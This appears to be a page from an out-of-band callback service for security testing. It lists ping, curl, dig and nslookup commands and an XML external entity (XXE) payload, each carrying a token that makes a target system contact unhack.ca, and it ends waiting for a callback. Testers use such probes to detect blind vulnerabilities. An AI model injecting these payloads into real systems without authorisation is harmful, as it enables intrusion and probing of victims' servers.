$ ping -c1 -p 008ea70a5f775a6d27b76fb6ce100400 unhack.ca
 
$ curl http://unhack.ca/p/8ea70a5f775a6d27b76fb6ce1004
 
$ dig 8ea70a5f775a6d27b76fb6ce1004 @unhack.ca
 
$ dig 8ea70a5f775a6d27b76fb6ce1004.ns.unhack.ca
 
C:\> nslookup 8ea70a5f775a6d27b76fb6ce1004 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8ea70a5f775a6d27b76fb6ce1004">]>
    <foo>&xxe;</foo>
Waiting for ping...